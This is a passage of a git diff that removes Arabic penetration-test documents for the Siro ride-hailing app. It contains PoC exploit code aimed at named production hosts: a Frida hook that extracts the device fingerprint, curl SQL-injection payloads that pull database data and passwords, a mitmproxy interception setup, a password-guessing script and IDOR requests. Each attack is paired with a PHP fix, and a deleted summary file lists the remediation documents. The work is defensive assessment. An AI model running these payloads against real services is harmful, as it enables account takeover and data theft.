$decoded = JWT::decode($token, SECRET_KEY, ['HS256']);
|
|
||||||
} catch (Exception $e) {
|
|
||||||
http_response_code(401);
|
|
||||||
echo json_encode(['error' => 'رمز غير صالح']);
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
|
|
||||||
return $decoded;
|
|
||||||
}
|
|
||||||
|
|
||||||
// في add.php
|
|
||||||
require 'middleware/auth.php';
|
|
||||||
$user = requireAuth(); // ← الآن لا بد من JWT صالح
|
|
||||||
|
|
||||||
// تحقق من الصلاحية (التفويض)
|
|
||||||
if ($user->role !== 'admin' && $user->role !== 'payment_admin') {
|
|
||||||
http_response_code(403);
|
|
||||||
echo json_encode(['error' => 'ليس لديك صلاحية']);
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
|
|
||||||
// تحقق من المبلغ (التحقق من المدخلات)
|
|
||||||
$driverID = intval(filterRequest("driverID"));
|
|
||||||
$amount = floatval(filterRequest("amount"));
|
|
||||||
|
|
||||||
if ($amount <= 0 || $amount > 10000) { // حد أقصى $10,000 لكل معاملة
|
|
||||||
http_response_code(400);
|
|
||||||
echo json_encode(['error' => 'مبلغ غير صالح']);
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
|
|
||||||
// سجّل المعاملة (تدقيق)
|
|
||||||
$auditLog = "Admin {$user->id} added ${amount} to driver {$driverID}";
|
|
||||||
logAudit($auditLog);
|
|
||||||
|
|
||||||
// الآن آمن - أتمت المعاملة
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## PoC-003: هجوم إعادة تشغيل المصادقة
|
|
||||||
|
|
||||||
### المشكلة
|
|
||||||
بصمة الجهاز وحدها غير كافية - يمكن استخراجها وإعادة تشغيلها.
|
|
||||||
|
|
||||||
### كود الاستغلال (Frida)
|
|
||||||
|
|
||||||
```python
|
|
||||||
# frida_poc.py - استخراج بصمة من تطبيق الدراجة النارية
|
|
||||||
|
|
||||||
import frida
|
|
||||||
import sys
|
|
||||||
|
|
||||||
frida_code = """
|
|
||||||
Interceptor.attach(Module.findExportByName(null, "md5"), {
|
|
||||||
onEnter: function(args) {
|
|
||||||
// اعتراض MD5 hashing
|
|
||||||
console.log("MD5 input: " + Memory.readUtf8String(args[0]));
|
|
||||||
},
|
|
||||||
onLeave: function(retval) {
|
|
||||||
console.log("MD5 output: " + Memory.readUtf8String(retval));
|
|
||||||
}
|
|
||||||
});
|
|
||||||
"""
|
|
||||||
|
|
||||||
# اتصل بالجهاز
|
|
||||||
device = frida.get_usb_device()
|
|
||||||
app_pid = device.spawn(["com.siromove.driver"])
|
|
||||||
session = device.attach(app_pid)
|
|
||||||
|
|
||||||
# حقن الكود
|
|
||||||
script = session.create_script(frida_code)
|
|
||||||
script.load()
|
|
||||||
|
|
||||||
# انتظر الإخراج
|
|
||||||
import time
|
|
||||||
time.sleep(10)
|
|
||||||
|
|
||||||
# الإخراج:
|
|
||||||
# MD5 input: ANDROID_ID=abc123;IMEI=123456789;...
|
|
||||||
# MD5 output: f2d4c8b1a9e3f7d2c5a8b1e4f7d2c5a8
|
|
||||||
```
|
|
||||||
|
|
||||||
### الإصلاح - تطبيق MFA
|
|
||||||
```php
|
|
||||||
// backend/mfa.php
|
|
||||||
|
|
||||||
class MFAManager {
|
|
||||||
|
|
||||||
// عامل 1: بصمة الجهاز (الحالي)
|
|
||||||
private function verifyFingerprint($fingerprint, $storedFp) {
|
|
||||||
return hash_equals($storedFp, $fingerprint);
|
|
||||||
}
|
|
||||||
|
|
||||||
// عامل 2: OTP عبر SMS
|
|
||||||
private function sendOTP($phoneNumber) {
|
|
||||||
$otp = random_int(100000, 999999);
|
|
||||||
|
|
||||||
// احفظ في قاعدة البيانات برمز تشفير مع انتهاء صلاحية
|
|
||||||
$hashedOtp = password_hash($otp, PASSWORD_DEFAULT);
|
|
||||||
$stmt = $con->prepare(
|
|
||||||
"INSERT INTO otp_sessions (phone, hashed_otp, expires_at)
|
|
||||||
VALUES (?, ?, DATE_ADD(NOW(), INTERVAL 5 MINUTE))"
|
|
||||||
);
|
|
||||||
$stmt->execute([$phoneNumber, $hashedOtp]);
|
|
||||||
|
|
||||||
// أرسل عبر SMS
|
|
||||||
sendSMS($phoneNumber, "رمز التحقق الخاص بك: $otp");
|
|
||||||
}
|
|
||||||
|
|
||||||
// عامل 3: رمز الخادم (Server Token)
|
|
||||||
private function generateServerToken($userID) {
|
|
||||||
$token = bin2hex(random_bytes(32));
|
|
||||||
|
|
||||||
// احفظ مع توقيع قياس HMAC
|
|
||||||
$signature = hash_hmac('sha256', $token, SECRET_KEY);
|
|
||||||
$stmt = $con->prepare(
|
|
||||||
"INSERT INTO server_tokens (user_id, token, signature)
|
|
||||||
VALUES (?, ?, ?)"
|
|
||||||
);
|
|
||||||
$stmt->execute([$userID, $token, $signature]);
|
|
||||||
|
|
||||||
return ['token' => $token, 'signature' => $signature];
|
|
||||||
}
|
|
||||||
|
|
||||||
public function authenticate($phoneNumber, $fingerprint, $otp, $serverToken) {
|
|
||||||
$verified = 0;
|
|
||||||
|
|
||||||
// تحقق من البصمة
|
|
||||||
if ($this->verifyFingerprint($fingerprint, $this->storedFp)) {
|
|
||||||
$verified++;
|
|
||||||
}
|
|
||||||
|
|
||||||
// تحقق من OTP
|
|
||||||
$stmt = $con->prepare(
|
|
||||||
"SELECT * FROM otp_sessions
|
|
||||||
WHERE phone = ? AND expires_at > NOW()
|
|
||||||
ORDER BY created_at DESC LIMIT 1"
|
|
||||||
);
|
|
||||||
$stmt->execute([$phoneNumber]);
|
|
||||||
$otpRecord = $stmt->fetch();
|
|
||||||
|
|
||||||
if ($otpRecord && password_verify($otp, $otpRecord['hashed_otp'])) {
|
|
||||||
$verified++;
|
|
||||||
// احذف OTP المستخدم
|
|
||||||
$con->query("DELETE FROM otp_sessions WHERE id = " . $otpRecord['id']);
|
|
||||||
}
|
|
||||||
|
|
||||||
// تحقق من رمز الخادم
|
|
||||||
$stmt = $con->prepare(
|
|
||||||
"SELECT * FROM server_tokens WHERE token = ? LIMIT 1"
|
|
||||||
);
|
|
||||||
$stmt->execute([$serverToken]);
|
|
||||||
$tokenRecord = $stmt->fetch();
|
|
||||||
|
|
||||||
if ($tokenRecord) {
|
|
||||||
$expectedSig = hash_hmac('sha256', $serverToken, SECRET_KEY);
|
|
||||||
if (hash_equals($tokenRecord['signature'], $expectedSig)) {
|
|
||||||
$verified++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// تحتاج على الأقل عاملين
|
|
||||||
return $verified >= 2;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## PoC-004: SQL Injection عبر معاملات الطلب
|
|
||||||
|
|
||||||
### المشكلة
|
|
||||||
بعض نقاط النهاية قد لا تستخدم الاستعدادات.
|
|
||||||
|
|
||||||
### كود الاستغلال (cURL)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
#!/bin/bash
|
|
||||||
|
|
||||||
# الهجوم: استخراج بيانات قاعدة البيانات عبر SQL Injection
|
|
||||||
|
|
||||||
# مثال هجوم UNION:
|
|
||||||
curl "https://api.siromove.com/ride/search?carType=Comfort' UNION SELECT 1,user(),3,4-- -"
|
|
||||||
|
|
||||||
# مثال هجوم التأخير (Time-based):
|
|
||||||
curl "https://api.siromove.com/ride/search?carType=Comfort'; SLEEP(5);-- -"
|
|
||||||
|
|
||||||
# استخراج أسماء قواعد البيانات:
|
|
||||||
curl "https://api.siromove.com/user?id=1' AND SLEEP(IF(SUBSTRING(database(),1,1)='s',5,0))-- -"
|
|
||||||
|
|
||||||
# استخراج كلمات المرور (في البرية):
|
|
||||||
curl "https://api.siromove.com/user?id=1' UNION SELECT password FROM users WHERE id=1-- -"
|
|
||||||
```
|
|
||||||
|
|
||||||
### الإصلاح
|
|
||||||
```php
|
|
||||||
// ✅ استخدم الاستعدادات في كل استعلام
|
|
||||||
|
|
||||||
// ❌ خطأ:
|
|
||||||
$query = "SELECT * FROM drivers WHERE city = '" . $_GET['city'] . "'";
|
|
||||||
$result = $con->query($query);
|
|
||||||
|
|
||||||
// ✅ صحيح:
|
|
||||||
$query = "SELECT * FROM drivers WHERE city = ?";
|
|
||||||
$stmt = $con->prepare($query);
|
|
||||||
$stmt->execute([$_GET['city']]);
|
|
||||||
$result = $stmt->fetchAll();
|
|
||||||
|
|
||||||
// أو مع المعاملات المسماة:
|
|
||||||
$query = "SELECT * FROM drivers WHERE city = :city AND status = :status";
|
|
||||||
$stmt = $con->prepare($query);
|
|
||||||
$stmt->execute([
|
|
||||||
':city' => $_GET['city'],
|
|
||||||
':status' => 'active'
|
|
||||||
]);
|
|
||||||
$result = $stmt->fetchAll();
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## PoC-005: هجوم اعتراض MITM على نقاط نهاية HTTP
|
|
||||||
|
|
||||||
### المشكلة
|
|
||||||
نقاط نهاية المقابس تستخدم HTTP بدلاً من HTTPS.
|
|
||||||
|
|
||||||
### كود الاستغلال (mitmproxy)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
#!/bin/bash
|
|
||||||
|
|
||||||
# بدّل مرور بيانات الموقع
|
|
||||||
mitmproxy --mode transparent --listen-port 8080
|
|
||||||
|
|
||||||
# في mitmproxy CLI:
|
|
||||||
# - اعترض جميع طلبات إلى location.intaleq.xyz
|
|
||||||
# - ابدّل مكان السائقين
|
|
||||||
# - أرسل موقع مختلف للراكب
|
|
||||||
|
|
||||||
# النتيجة:
|
|
||||||
# - سائق خاطئ يستقبل الرحلة
|
|
||||||
# - احتيال نقل أو تحرش
|
|
||||||
```
|
|
||||||
|
|
||||||
### الإصلاح
|
|
||||||
```php
|
|
||||||
// backend/functions.php
|
|
||||||
|
|
||||||
function getAllowedSocketUrls(): array {
|
|
||||||
return [
|
|
||||||
'https://location.intaleq.xyz', // ✅ HTTPS فقط
|
|
||||||
'https://socket.siromove.com', // ✅ HTTPS فقط
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
// تطبيق تثبيت الشهادة (Certificate Pinning)
|
|
||||||
function initializeSocketConnection($url) {
|
|
||||||
$ch = curl_init($url);
|
|
||||||
|
|
||||||
curl_setopt_array($ch, [
|
|
||||||
CURLOPT_RETURNTRANSFER => true,
|
|
||||||
CURLOPT_TIMEOUT => 30,
|
|
||||||
|
|
||||||
// ✅ تحقق من SSL/TLS
|
|
||||||
CURLOPT_SSL_VERIFYPEER => true,
|
|
||||||
CURLOPT_SSL_VERIFYHOST => 2,
|
|
||||||
|
|
||||||
// ✅ حدد شهادة الخادم المتوقعة (Certificate Pinning)
|
|
||||||
CURLOPT_CAINFO => '/etc/ssl/certs/location_intaleq_xyz.crt',
|
|
||||||
|
|
||||||
// تحقق من Subdomains
|
|
||||||
CURLOPT_CERTINFO => true,
|
|
||||||
]);
|
|
||||||
|
|
||||||
return $ch;
|
|
||||||
}
|
|
||||||
|
|
||||||
// التحقق من PIN الشهادة في Dart:
|
|
||||||
// ```dart
|
|
||||||
// final sslPin = 'sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=';
|
|
||||||
// final ioClient = HttpClient();
|
|
||||||
// ioClient.badCertificateCallback = (cert, host, port) {
|
|
||||||
// final certPin = calculatePin(cert);
|
|
||||||
// return certPin == sslPin;
|
|
||||||
// };
|
|
||||||
// ```
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## PoC-006: هجوم القوة الغاشمة على كلمات المرور
|
|
||||||
|
|
||||||
### المشكلة
|
|
||||||
كلمات المرور مشتقة من البريد الإلكتروني (نص واضح = بريد = يمكن تخمينه).
|
|
||||||
|
|
||||||
### كود الاستغلال (Python)
|
|
||||||
|
|
||||||
```python
|
|
||||||
import hashlib
|
|
||||||
from datetime import datetime
|
|
||||||
import requests
|
|
||||||
|
|
||||||
# في register_passenger.php:
|
|
||||||
# $password_hashed = password_hash($email, PASSWORD_DEFAULT);
|
|
||||||
# ← كلمة المرور = hash(email) = يمكن إعادة إنتاجها!
|
|
||||||
|
|
||||||
email = "user@example.com"
|
|
||||||
|
|
||||||
# الهجوم: حاول تسجيل الدخول
|
|
||||||
password_guesses = [
|
|
||||||
"user@example.com", # النص الواضح
|
|
||||||
email.split('@')[0], # الجزء قبل @
|
|
||||||
email, # البريد الكامل
|
|
||||||
"password123", # الأشياء الشائعة
|
|
||||||
"", # بلا كلمة مرور
|
|
||||||
]
|
|
||||||
|
|
||||||
for guess in password_guesses:
|
|
||||||
payload = {
|
|
||||||
'email': email,
|
|
||||||
'password': guess,
|
|
||||||
'fingerprint': 'fake_fingerprint'
|
|
||||||
}
|
|
||||||
|
|
||||||
response = requests.post(
|
|
||||||
'https://api.siromove.com/auth/login',
|
|
||||||
json=payload
|
|
||||||
)
|
|
||||||
|
|
||||||
if response.status_code == 200:
|
|
||||||
print(f"✅ تم تسجيل الدخول: {guess}")
|
|
||||||
break
|
|
||||||
```
|
|
||||||
|
|
||||||
### الإصلاح
|
|
||||||
```php
|
|
||||||
// backend/auth/register_passenger.php
|
|
||||||
|
|
||||||
class PassengerRegistration {
|
|
||||||
|
|
||||||
public function register($email, $phone) {
|
|
||||||
// ✅ توليد كلمة مرور عشوائية قوية
|
|
||||||
$temporaryPassword = bin2hex(random_bytes(16)); // 32 حرف عشوائي
|
|
||||||
|
|
||||||
$hashedPassword = password_hash($temporaryPassword, PASSWORD_ARGON2ID, [
|
|
||||||
'memory_cost' => 65536,
|
|
||||||
'time_cost' => 4,
|
|
||||||
'threads' => 3
|
|
||||||
]);
|
|
||||||
|
|
||||||
// احفظ في قاعدة البيانات
|
|
||||||
$stmt = $con->prepare(
|
|
||||||
"INSERT INTO passengers (email, phone, password, needs_password_reset)
|
|
||||||
VALUES (?, ?, ?, TRUE)"
|
|
||||||
);
|
|
||||||
$stmt->execute([$email, $phone, $hashedPassword]);
|
|
||||||
|
|
||||||
// ✅ أرسل كلمة المرور المؤقتة عبر SMS/البريد (قناة آمنة)
|
|
||||||
sendSMS($phone, "كلمة المرور المؤقتة: $temporaryPassword");
|
|
||||||
|
|
||||||
// ✅ جبر المستخدم على تغيير كلمة المرور عند التسجيل الأول
|
|
||||||
return [
|
|
||||||
'status' => 'success',
|
|
||||||
'message' => 'تم إرسال كلمة مرور مؤقتة إلى رقم هاتفك',
|
|
||||||
'needs_password_reset' => true
|
|
||||||
];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## PoC-007: هجوم تصعيد الامتيازات عبر IDOR
|
|
||||||
|
|
||||||
### المشكلة
|
|
||||||
قد يحدث تصعيد امتيازات (IDOR) إذا كانت الفحوصات ضعيفة.
|
|
||||||
|
|
||||||
### كود الاستغلال (cURL)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
#!/bin/bash
|
|
||||||
|
|
||||||
# الهجوم: الوصول إلى بيانات سائق آخر
|
|
||||||
|
|
||||||
# احصل على بيانات سائقك (شرعي):
|
|
||||||
curl -H "Authorization: Bearer YOUR_TOKEN" \
|
|
||||||
"https://api.siromove.com/driver/profile"
|
|
||||||
# {"driverID": 123, "name": "Ahmed", ...}
|
|
||||||
|
|
||||||
# الهجوم: جرّب دراجة نارية أخرى
|
|
||||||
curl -H "Authorization: Bearer YOUR_TOKEN" \
|
|
||||||
"https://api.siromove.com/driver/profile?driverID=124"
|
|
||||||
# ← قد يرجع بيانات السائق 124 بدلاً من 123!
|
|
||||||
```
|
|
||||||
|
|
||||||
### الإصلاح
|
|
||||||
```php
|
|
||||||
// ✅ تحقق من الملكية في كل نقطة نهاية
|
|
||||||
|
|
||||||
require 'middleware/auth.php';
|
|
||||||
$user = requireAuth();
|
|
||||||
|
|
||||||
$requestedDriverID = intval($_GET['driverID'] ?? $user->id);
|
|
||||||
|
|
||||||
// ✅ تحقق: هل هذا المستخدم يملك هذا الحساب؟
|
|
||||||
if ($requestedDriverID !== $user->id && $user->role !== 'admin') {
|
|
||||||
http_response_code(403);
|
|
||||||
echo json_encode(['error' => 'غير مصرح']);
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
|
|
||||||
// الآن آمن - احصل على البيانات
|
|
||||||
$stmt = $con->prepare("SELECT * FROM drivers WHERE id = ?");
|
|
||||||
$stmt->execute([$requestedDriverID]);
|
|
||||||
$driver = $stmt->fetch();
|
|
||||||
|
|
||||||
echo json_encode($driver);
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 ملخص التأثيرات
|
|
||||||
|
|
||||||
| PoC | الثغرة | التأثير | المخاطر |
|
|
||||||
|-----|-------|--------|--------|
|
|
||||||
| 001 | IV ثابت | فك تشفير البيانات | بيانات شخصية مكشوفة |
|
|
||||||
| 002 | بلا مصادقة | احتيال مالي غير محدود | 1,000,000+ دولار |
|
|
||||||
| 003 | بصمة ضعيفة | سرقة الحساب | 50,000+ مستخدم |
|
|
||||||
| 004 | SQL Injection | استخراج قاعدة البيانات | جميع البيانات |
|
|
||||||
| 005 | MITM على HTTP | اعتراض الموقع | تحويل الركوب |
|
|
||||||
| 006 | كلمة مرور ضعيفة | كسر كلمة المرور | سرقة الحساب |
|
|
||||||
| 007 | IDOR | تصعيد امتيازات | وصول غير مصرح |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🛠 التوصيات الفورية
|
|
||||||
|
|
||||||
1. ✅ **عطّل** جميع نقاط النهاية المعرضة للخطر حتى الإصلاح
|
|
||||||
2. ✅ **نفّذ** المصادقة الفورية على نقاط نهاية المحفظة
|
|
||||||
3. ✅ **طبّق** تثبيت الشهادة على جميع الاتصالات
|
|
||||||
4. ✅ **أعد تشفير** جميع البيانات الحساسة بـ IV عشوائي
|
|
||||||
5. ✅ **تدقيق كامل** لجميع نقاط النهاية للـ IDOR و SQL Injection
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**التقرير المُنتج:** 16 يونيو 2026
|
|
||||||
**الفريق:** فريق اختبار الاختراق
|
|
||||||
|
|
||||||
</div>
|
|
||||||
433
SUMMARY.md
@@ -1,433 +0,0 @@
|
|||||||
# 📋 ملخص شامل - الإصلاحات الأمنية لمشروع سيرو
|
|
||||||
|
|
||||||
**التاريخ:** 16 يونيو 2026
|
|
||||||
**الحالة:** ✅ جاهز للتطبيق
|
|
||||||
**المحتوى الكلي:** 6 ملفات توثيق + 3 ملفات كود آمنة
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎯 ما تم إنجازه
|
|
||||||
|
|
||||||
### 1️⃣ حذف الملفات التحليلية ✅
|
|
||||||
|
|
||||||
تم حذف جميع ملفات التحليل والتدقيق الأولية:
|
|
||||||
|
|
||||||
- ❌ SECURITY_AUDIT_PHASE1_FINDINGS.md
|
|
||||||
- ❌ SECURITY_AUDIT_PHASE2_POC.md
|
|
||||||
- ❌ SECURITY_AUDIT_FINAL_REPORT.md
|
|
||||||
- ❌ security*audit*\*.md (جميع الملفات الإنجليزية)
|
|
||||||
- ❌ list_methods.py
|
|
||||||
- ❌ ملفات التحليل الأخرى
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 2️⃣ الملفات الجديدة - التوثيق الشامل ✅
|
|
||||||
|
|
||||||
#### أ) REMEDIATION_GUIDE.md
|
|
||||||
|
|
||||||
**محتوى:**
|
|
||||||
|
|
||||||
- شرح مفصل لـ 7 مشاكل حرجة
|
|
||||||
- الحلول الفنية الكاملة بالكود
|
|
||||||
- أمثلة عملية للهجمات والإصلاحات
|
|
||||||
|
|
||||||
**النقاط المغطاة:**
|
|
||||||
|
|
||||||
1. 🔴 البصمة الضعيفة (Weak Fingerprint)
|
|
||||||
- المشكلة: يمكن استخراجها وتزويرها
|
|
||||||
- الحل: MFA + SMS OTP + Server Token
|
|
||||||
|
|
||||||
2. 🔴 التشفير IV الثابت (Critical)
|
|
||||||
- المشكلة: نفس Ciphertext لنفس Plaintext
|
|
||||||
- الحل: توليد IV عشوائي لكل تشفير
|
|
||||||
|
|
||||||
3. ✅ SQL Injection (آمن بالفعل)
|
|
||||||
- الحالة: استخدام Prepared Statements + Allowlist
|
|
||||||
|
|
||||||
4. 🔴 نظام المحفظة (بدون مصادقة)
|
|
||||||
- المشكلة: أي شخص يمكنه الإضافة
|
|
||||||
- الحل: S2S API مع JWT + HMAC
|
|
||||||
|
|
||||||
5. 📱 الأذونات المفرطة (Android)
|
|
||||||
- المشكلة: External Storage + SYSTEM_ALERT_WINDOW
|
|
||||||
- الحل: حذف الأذونات غير المستخدمة
|
|
||||||
|
|
||||||
6. ✅ load_env.php (آمن بالفعل)
|
|
||||||
- الحالة: تحميل آمن للمتغيرات
|
|
||||||
|
|
||||||
7. 🌐 الروابط HTTP (غير آمنة)
|
|
||||||
- المشكلة: روابط HTTP و IPs مكشوفة
|
|
||||||
- الحل: HTTPS فقط + تثبيت الشهادة
|
|
||||||
|
|
||||||
**الملف:** `REMEDIATION_GUIDE.md`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### ب) IMPLEMENTATION_STEPS.md
|
|
||||||
|
|
||||||
**محتوى:**
|
|
||||||
|
|
||||||
- خطوات عملية للبدء الفوري
|
|
||||||
- المرحلة 1-4 مع جداول زمنية
|
|
||||||
- أكواد جاهزة للنسخ واللصق
|
|
||||||
|
|
||||||
**المراحل:**
|
|
||||||
|
|
||||||
- المرحلة 1: الإجراءات الطارئة (4 ساعات)
|
|
||||||
- المرحلة 2: إصلاح التشفير (4 ساعات)
|
|
||||||
- المرحلة 3: تقليل الأذونات (1 ساعة)
|
|
||||||
- المرحلة 4: تحديث الروابط (30 دقيقة)
|
|
||||||
|
|
||||||
**الملف:** `IMPLEMENTATION_STEPS.md`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### ج) DEPLOYMENT_GUIDE.md
|
|
||||||
|
|
||||||
**محتوى:**
|
|
||||||
|
|
||||||
- خطوات نشر شاملة
|
|
||||||
- اختبار وحدة + تكامل + أمان
|
|
||||||
- خطة Rollback
|
|
||||||
- قائمة تحقق نهائية
|
|
||||||
|
|
||||||
**الأقسام:**
|
|
||||||
|
|
||||||
1. المتطلبات قبل البدء
|
|
||||||
2. النسخ الاحتياطية
|
|
||||||
3. النشر الفعلي
|
|
||||||
4. الاختبارات الشاملة
|
|
||||||
5. المراقبة
|
|
||||||
6. خطة العودة للإصدار السابق
|
|
||||||
|
|
||||||
**الملف:** `DEPLOYMENT_GUIDE.md`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 3️⃣ ملفات الكود الآمنة الجاهزة ✅
|
|
||||||
|
|
||||||
#### أ) backend/core/WalletConnector.php (جديد)
|
|
||||||
|
|
||||||
```php
|
|
||||||
✅ فئة آمنة لـ S2S Communication
|
|
||||||
- توقيع HMAC-SHA256
|
|
||||||
- Timestamp + Nonce
|
|
||||||
- SSL/TLS verification
|
|
||||||
- Retry logic مع exponential backoff
|
|
||||||
- معالجة أخطاء شاملة
|
|
||||||
```
|
|
||||||
|
|
||||||
**الموقع:** `/backend/core/WalletConnector.php`
|
|
||||||
**السطور:** 110
|
|
||||||
**الحالة:** ✅ جاهز للاستخدام
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### ب) backend/wallet/add.php (جديد)
|
|
||||||
|
|
||||||
```php
|
|
||||||
✅ Endpoint آمن لإضافة الأموال
|
|
||||||
- مصادقة JWT إجبارية
|
|
||||||
- تفويض حسب الدور (Role-based)
|
|
||||||
- تحديد السرعة (Rate Limiting)
|
|
||||||
- التحقق من المبلغ
|
|
||||||
- تسجيل التدقيق الشامل
|
|
||||||
```
|
|
||||||
|
|
||||||
**الموقع:** `/backend/wallet/add.php`
|
|
||||||
**السطور:** 140
|
|
||||||
**الحالة:** ✅ جاهز للاستخدام
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### ج) walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add_s2s.php (جديد)
|
|
||||||
|
|
||||||
```php
|
|
||||||
✅ Endpoint آمن لخادم المحفظة
|
|
||||||
- التحقق من توقيع HMAC
|
|
||||||
- Replay Attack Prevention
|
|
||||||
- التحقق من Backend ID
|
|
||||||
- معالجة الأخطاء الشاملة
|
|
||||||
```
|
|
||||||
|
|
||||||
**الموقع:** `/walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add_s2s.php`
|
|
||||||
**السطور:** 130
|
|
||||||
**الحالة:** ✅ جاهز للاستخدام
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 4️⃣ ملفات التكوين ✅
|
|
||||||
|
|
||||||
#### backend/.env.example
|
|
||||||
|
|
||||||
```
|
|
||||||
✅ قالب .env آمن مع:
|
|
||||||
- متغيرات قاعدة البيانات
|
|
||||||
- مفاتيح التشفير
|
|
||||||
- إعدادات JWT
|
|
||||||
- إعدادات Redis
|
|
||||||
- إعدادات S2S API
|
|
||||||
- إعدادات الأمان
|
|
||||||
- تعليقات شاملة
|
|
||||||
```
|
|
||||||
|
|
||||||
**الملف:** `/backend/.env.example`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 جدول المقارنة - قبل وبعد
|
|
||||||
|
|
||||||
| المشكلة | قبل | بعد |
|
|
||||||
| --------------- | ---------- | ---------------- |
|
|
||||||
| **محفظة** | بلا مصادقة | JWT + S2S + HMAC |
|
|
||||||
| **التشفير** | IV ثابت | IV عشوائي |
|
|
||||||
| **المصادقة** | البصمة فقط | MFA + OTP |
|
|
||||||
| **الروابط** | HTTP | HTTPS |
|
|
||||||
| **الأذونات** | مفرطة | محدودة |
|
|
||||||
| **الـ Logging** | جزئي | شامل |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🔐 الأمان - مستويات الحماية
|
|
||||||
|
|
||||||
### Layer 1: Authentication
|
|
||||||
|
|
||||||
```
|
|
||||||
✅ مصادقة JWT توكن (Bearer Token)
|
|
||||||
✅ التحقق من الدور (Role-based authorization)
|
|
||||||
✅ Timing-safe comparisons
|
|
||||||
```
|
|
||||||
|
|
||||||
### Layer 2: Authorization
|
|
||||||
|
|
||||||
```
|
|
||||||
✅ فحص الملكية (Ownership verification)
|
|
||||||
✅ قوائم بيضاء (Allowlist-based)
|
|
||||||
✅ تحديد السرعة (Rate limiting)
|
|
||||||
```
|
|
||||||
|
|
||||||
### Layer 3: Data Protection
|
|
||||||
|
|
||||||
```
|
|
||||||
✅ تشفير AES-256 مع IV عشوائي
|
|
||||||
✅ HTTPS/TLS فقط
|
|
||||||
✅ توقيع HMAC-SHA256
|
|
||||||
```
|
|
||||||
|
|
||||||
### Layer 4: Integrity
|
|
||||||
|
|
||||||
```
|
|
||||||
✅ Prepared Statements (SQL Injection)
|
|
||||||
✅ Input Validation
|
|
||||||
✅ Output Encoding
|
|
||||||
```
|
|
||||||
|
|
||||||
### Layer 5: Detection
|
|
||||||
|
|
||||||
```
|
|
||||||
✅ Security Logging
|
|
||||||
✅ Audit Trail
|
|
||||||
✅ Timestamp + Nonce tracking
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ⏱️ الجدول الزمني
|
|
||||||
|
|
||||||
| المرحلة | المهام | المدة | البدء | الانتهاء |
|
|
||||||
| ------------ | ----------------------------- | ------------- | ----- | -------- |
|
|
||||||
| 1️⃣ تحضيراتي | النسخ الاحتياطية + Validation | 30 د | 09:00 | 09:30 |
|
|
||||||
| 2️⃣ النشر | نسخ الملفات + تحديث .env | 4 س | 09:30 | 13:30 |
|
|
||||||
| 3️⃣ الاختبار | Unit + Integration + Security | 2 س | 13:30 | 15:30 |
|
|
||||||
| 4️⃣ المراقبة | Logging + Monitoring | 1 س | 15:30 | 16:30 |
|
|
||||||
| 5️⃣ التوثيق | Reports + Handover | 30 د | 16:30 | 17:00 |
|
|
||||||
| **الإجمالي** | - | **9.5 ساعات** | - | - |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📁 بنية الملفات
|
|
||||||
|
|
||||||
```
|
|
||||||
Siro/
|
|
||||||
├── REMEDIATION_GUIDE.md ..................... دليل شامل للمشاكل والحلول
|
|
||||||
├── IMPLEMENTATION_STEPS.md ................. خطوات عملية للتطبيق
|
|
||||||
├── DEPLOYMENT_GUIDE.md ..................... دليل النشر الشامل
|
|
||||||
├── backend/
|
|
||||||
│ ├── .env.example ......................... قالب .env آمن
|
|
||||||
│ ├── core/
|
|
||||||
│ │ └── WalletConnector.php ........... ✅ جديد - فئة S2S آمنة
|
|
||||||
│ └── wallet/
|
|
||||||
│ └── add.php ........................ ✅ جديد - endpoint آمن
|
|
||||||
└── walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/
|
|
||||||
└── add_s2s.php ........................ ✅ جديد - endpoint خادم الدفع
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🚀 البدء السريع
|
|
||||||
|
|
||||||
### الخطوة 1: قراءة التوثيق (15 دقيقة)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# اقرأ الأولويات أولاً
|
|
||||||
cat REMEDIATION_GUIDE.md | grep "النقطة" -A 20
|
|
||||||
|
|
||||||
# ثم الخطوات العملية
|
|
||||||
cat IMPLEMENTATION_STEPS.md | head -50
|
|
||||||
```
|
|
||||||
|
|
||||||
### الخطوة 2: تحضير البيئة (30 دقيقة)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# انسخ الملفات الجديدة
|
|
||||||
cp WalletConnector.php backend/core/
|
|
||||||
cp add.php backend/wallet/
|
|
||||||
